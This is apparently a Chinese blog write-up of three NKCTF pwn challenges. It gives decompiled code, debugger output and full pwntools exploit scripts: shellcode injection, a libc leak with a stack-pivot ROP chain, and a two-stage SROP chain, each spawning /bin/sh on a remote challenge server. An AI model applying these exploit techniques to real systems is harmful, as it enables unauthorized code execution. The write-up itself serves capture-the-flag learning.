NKCTF_WP

ezshellcode

用ida打开

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  char buf[108]; // [rsp+0h] [rbp-70h] BYREF
  int v6; // [rsp+6Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
  puts("welcome to NKCTF!");
  puts("u can make it in 5 min!");
  read(0, buf, 0x100uLL);
  v3 = strlen(buf);
  strncpy(buf2, buf, v3);
  puts("good luck!");
  v6 = rand() % 100 + 1;
  ((void (*)(void))&buf2[v6])();
  return 0;
}
  Start                End     Perm     Size
 0x404000           0x405000   rwxp     0x1000

可以看到 第9行代码做了提权 ,bss 0x404080 在 提权的范围之内,所以bss是rwx段

**注意:**在调用rand函数之前,会先查询是否主动调用过srand(seed)来为伪随机数生成器设定种子,如果有,那么就按照我们的代码设定种子,即初始化seed的起始值,若没有调用srand(seed),那么系统会自动给seed赋初始值,即自动调用srand(1)一次,也就是将seed的值设置为1。如果每次调用rand函数时,种子相同,那么根据公式产生的伪随机数将是相同的。

一般是 v0 = time(0LL); srand(v0);,用时间做种子函数,时间是会变得所以,随机值也会跟着变

这里没用种子函数,所以随机值是不会变得,我们可以通过gdb动态调试查看v6得值

pwndbg> p $rbp -4
$4 = (void *) 0x7fffffffde5c
pwndbg> x/10x  0x7fffffffde5c
0x7fffffffde5c:	0x00000054	0x00000001	0x00000000	0xf7c29d90

可以看到 v6得值是0x54

from pwn import *

context(os = 'linux' , arch = 'amd64' , log_level = 'debug')

p=remote('node2.yuzhian.com.cn',35588)

#p=process('./pwn')

payload=asm(shellcraft.sh())

payload=b'a'*0x54+payload   

print(payload)

p.sendlineafter("u can make it in 5 min!\n",payload)

p.recvline()

p.interactive()

a_story_of_a_pwner

用ida打开可以发现几条重要的语句

return read(0, &unk_4050A8, 8uLL);            // 0x4050A8
return read(0, &ao, 8uLL);                    // 0x4050A0
return read(0, &unk_4050B0, 8uLL);            // 0x4050B0
ssize_t heart()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  puts("now, come and read my heart...");
  return read(0, buf, 0x20uLL);
}
int warning()
{
  puts("Before u read this, i think u should read first 3.");
  return printf("I give it up, you can see this. %p\n", &puts);
}

题目给了libc文件,这不明摆了提示我们泄露libc吗,

可以看到在 warning函数里吗泄露了puts得got地址,我们就能通过这一漏洞得到system和binsh的地址

可以看到 heart函数 存在栈溢出,但是溢出的字节太少,无法构造rop链,这里我们可以执行栈迁移,可以看到上面我们三条read函数

虽然每次只可以输入8个字节,但是输入数据的地方是连续的,所以满足栈迁移的条件

from pwn import *

context(os = 'linux' , arch = 'amd64' , log_level = 'debug')

p=remote('node2.yuzhian.com.cn',33962)

libc=ELF('./libc.so.6')

#p=process('./pwn')

elf=ELF('./pwn')

rdi=0x0000000000401573    #ROPgadget --binary 文件名 

leave=0x000000000040139e  #ROPgadget --binary 文件名 

puts_got=elf.got['puts']

puts_plt=elf.plt['puts']

main=elf.symbols['main']

p.sendlineafter('> \n',b'4')

p.recvuntil('0x')

puts=int(p.recv(12),16)

print(hex(puts))

base=puts-libc.symbols['puts']

system=base+libc.symbols['system']

binsh=base+next(libc.search(b'/bin/sh'))

p.sendlineafter('> \n',b'1')   #4050A8

p.sendafter('comment?\n',p64(binsh))

p.sendlineafter('> \n',b'2')   #4050A0

p.sendafter('corment?\n',p64(rdi))

p.sendlineafter('> \n',b'3')   #4050B0

p.sendafter('corMenT?\n',p64(system))

p.sendlineafter('> \n',b'4')

p.sendlineafter("now, come and read my heart...\n",b'a'*0xa+p64(0x4050A0-8)+p64(leave)) 
#0x4050A0-8,减8是因为,pop rbp  会抬高8个字节
p.interactive()

ez_stack

用ida打开

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-73DgNLXT-1679873879985)(C:\Users\24603\AppData\Roaming\Typora\typora-user-images\image-20230326213300504.png)]

发现函数很少,只有一个vuln函数 ,和一个可疑函数 sub_401136

__int64 sub_401136()
{
  return MEMORY[0x50FC30000000FC0]();
}
.text:00000000004011B9                               ; __unwind {
.text:00000000004011B9 F3 0F 1E FA                   endbr64
.text:00000000004011BD 55                            push    rbp
.text:00000000004011BE 48 89 E5                      mov     rbp, rsp
.text:00000000004011C1 48 C7 C0 01 00 00 00          mov     rax, 1
.text:00000000004011C8 48 C7 C2 26 00 00 00          mov     rdx, 26h ; '&'                  ; count
.text:00000000004011CF 48 8D 34 25 40 40 40 00       lea     rsi, nkctf                      ; "Welcome to the binary world of NKCTF!\n"
.text:00000000004011D7 48 89 C7                      mov     rdi, rax                        ; fd
.text:00000000004011DA 0F 05                         syscall                                 ; LINUX - sys_write
.text:00000000004011DC 48 31 C0                      xor     rax, rax
.text:00000000004011DF 48 C7 C2 00 02 00 00          mov     rdx, 200h                       ; count
.text:00000000004011E6 48 8D 74 24 F0                lea     rsi, [rsp+buf]                  ; buf
.text:00000000004011EB 48 89 C7                      mov     rdi, rax                        ; fd
.text:00000000004011EE 0F 05                         syscall                                 ; LINUX - sys_read
.text:00000000004011F0 B8 00 00 00 00                mov     eax, 0
.text:00000000004011F5 5D                            pop     rbp
.text:00000000004011F6 C3                            retn
.text:00000000004011F6                               ; } // starts at 4011B9
:0000000000401136                               ; __unwind {
.text:0000000000401136 F3 0F 1E FA                   endbr64
.text:000000000040113A 55                            push    rbp
.text:000000000040113B 48 89 E5                      mov     rbp, rsp
.text:000000000040113E FF 14 25 48 11 40 00          call    ds:qword_401148  //没任何用的函数
.text:000000000040113E
.text:0000000000401145 C3                            retn
.text:0000000000401145
.text:0000000000401145                               _sub_401136 endp ; sp-analysis failed
.text:0000000000401145
.text:0000000000401146 48 C7                         dw 0C748h

考的srop

from pwn import *

context(os = 'linux' , arch = 'amd64' , log_level = 'debug')

p=remote('node2.yuzhian.com.cn',37653)

sigreturn  =  0x0000000000401146   #0x0000000000401146 : mov rax, 0xf ; ret

syscall    =  0x000000004011EE     #虽然不止一条syscall指令,但必须用read的syscall指令 

frame = SigreturnFrame()          #第一次伪造frame是为了得到/bin/sh的地址

frame.rax = 0                     #read系统调用号 

frame.rdi = 0                     #read的第一个参数

frame.rsi = 0x404000             #read的第二个参数,用vmmap 查找rw段 0x404000   0x405000 rw-p  

frame.rdx = 0x100                #read的第三个参数

frame.rip = syscall              #rip是下一条要执行的地址的指令,也就是去执行我们伪造的frame

frame.rbp = 0x404000 + 0x20      #为了实现第二次溢出 rbp与我们输入点差0x20

frame.rsp = 0x404000 + 0x20      #一定要加这条,不然rbp指向0x0

payload=flat(['a'*0x18, sigreturn, syscall, frame])   #0x18的垃圾数据

p.sendlineafter("Welcome to the binary world of NKCTF!\n",payload)

frame = SigreturnFrame()          #第二次伪造frame是为了执行execve('/bin/sh\x00',0,0)

frame.rax = 0x3b                  #execve系统调用号 

frame.rdi =0x404000               #我们即将输入‘bin/sh’的地址

frame.rsi = 0                    #execve的第二个参数

frame.rdx = 0                    #execve的第三个参数

frame.rip = syscall               #rip是下一条要执行的地址的指令,也就是去执行我们伪造的frame

payload=flat(['/bin/sh\x00'+'a'*0x20, sigreturn, syscall, frame])  #'/bin/sh\x00'+0x20=0x28字节是为了溢出

p.sendline(payload)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

zIxyd

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值